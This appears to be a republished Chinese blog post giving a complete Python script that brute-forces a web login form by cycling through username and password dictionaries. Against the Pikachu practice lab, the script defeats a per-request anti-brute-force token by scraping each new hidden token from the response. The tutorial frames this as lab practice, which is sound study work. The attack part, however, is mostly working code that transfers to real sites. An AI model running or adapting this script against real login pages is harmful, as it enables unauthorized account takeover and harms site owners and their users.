Python脚本猜解网站登录密码(带token验证)
生活随笔
收集整理的這篇文章主要介紹了
Python脚本猜解网站登录密码(带token验证)
小編覺得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.
目錄:
- 關(guān)鍵代碼解釋
- 設(shè)置請求頭
- get_token函數(shù)獲取token值
- 完整代碼:
- 運(yùn)行結(jié)果:
上一篇文章:一個(gè)簡單的Python暴力破解網(wǎng)站登錄密碼腳本
測試靶機(jī)為Pikachu漏洞練習(xí)平臺暴力破解模塊下的 “token防爆破?”
春節(jié)期間歇了一陣子,吃睡玩看小說。寫這個(gè)腳本的起因是因?yàn)閎urp設(shè)置帶token的暴力破解我只會用pitchfork草叉模式,要是用cluster bomb集束炸彈模式笛卡兒積那樣就不會了,所以就干脆把之前寫的腳本加了點(diǎn)東西實(shí)現(xiàn)這個(gè)功能了,到時(shí)候有空再學(xué)學(xué)多線程,爆破速度就更快了。
關(guān)鍵代碼解釋
設(shè)置請求頭
5~11行:指定url地址和請求頭,user_token設(shè)置首次發(fā)送請求包時(shí)的token值。
url = "http://192.168.171.30/pikachu/vul/burteforce/bf_token.php" user_token = '8680761fe979039a6f836599906' header = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0','Cookie': 'PHPSESSID=17u0i2fakm84eq9oc24boc8715' }get_token函數(shù)獲取token值
13~16行:這個(gè)函數(shù)返回從響應(yīng)包中獲取的token
在http響應(yīng)包中有一個(gè)隱藏的標(biāo)簽里面有token值:
<input type="hidden" name="token" value="5874161fe8db950ca7993759020" />第15行:soup.select查找標(biāo)簽名為input,name為token的元素的value的值。
def get_token(r):soup = BeautifulSoup(r.text, 'html.parser')user_token = soup.select('input[name="token"]')[0]['value']return user_token完整代碼:
from bs4 import BeautifulSoup import requests from requests.models import Responseurl = "http://192.168.171.30/pikachu/vul/burteforce/bf_token.php" user_token = '8680761fe979039a6f836599906' #proxies = {"http": "http://127.0.0.1:8080"} # 代理設(shè)置,方便burp抓包查看和調(diào)試 header = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0','Cookie': 'PHPSESSID=17u0i2fakm84eq9oc24boc8715' }def get_token(r):soup = BeautifulSoup(r.text, 'html.parser')user_token = soup.select('input[name="token"]')[0]['value']return user_tokenif __name__ == "__main__":f = open('result.csv', 'w') #把爆破結(jié)果儲存到文件里,這里為csv格式f.write('用戶名' + ',' + '密碼' + ',' + '包長度' + '\n') #給文件設(shè)置標(biāo)題#遍歷字典文件,Cluster bomb 暴力破解for admin in open("C:\\Users\\admin\\Documents\\字典\\賬號.txt"):for line in open("C:\\Users\\admin\\Documents\\字典\\密碼.txt"):username = admin.strip()password = line.strip()payload = { #payload為POST的數(shù)據(jù)'username': username,'password': password,'token': user_token,'submit': 'Login'}Response = requests.post(url, data=payload, headers=header)result = username + ',' + password + ',' + str(len(Response.text)) #用戶名密碼以及響應(yīng)包長度print(result) #輸出到終端f.write(result + '\n') #輸出到文件user_token = get_token(Response) #調(diào)用get_token函數(shù)獲取下一次循環(huán)需要的tokenprint('\n---完成---\n')f.close()運(yùn)行結(jié)果:
查看保存的文件,查看包長度與其他不一樣的數(shù)據(jù)
這里csv不會顯示前綴會自動(dòng)去掉首位0,可以把文件改成txt格式就正常顯示了
嘗試登陸一下,登錄成功。
總結(jié)
以上是生活随笔為你收集整理的Python脚本猜解网站登录密码(带token验证)的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: Bilibili Mac开源客户端
- 下一篇: websocket python爬虫_p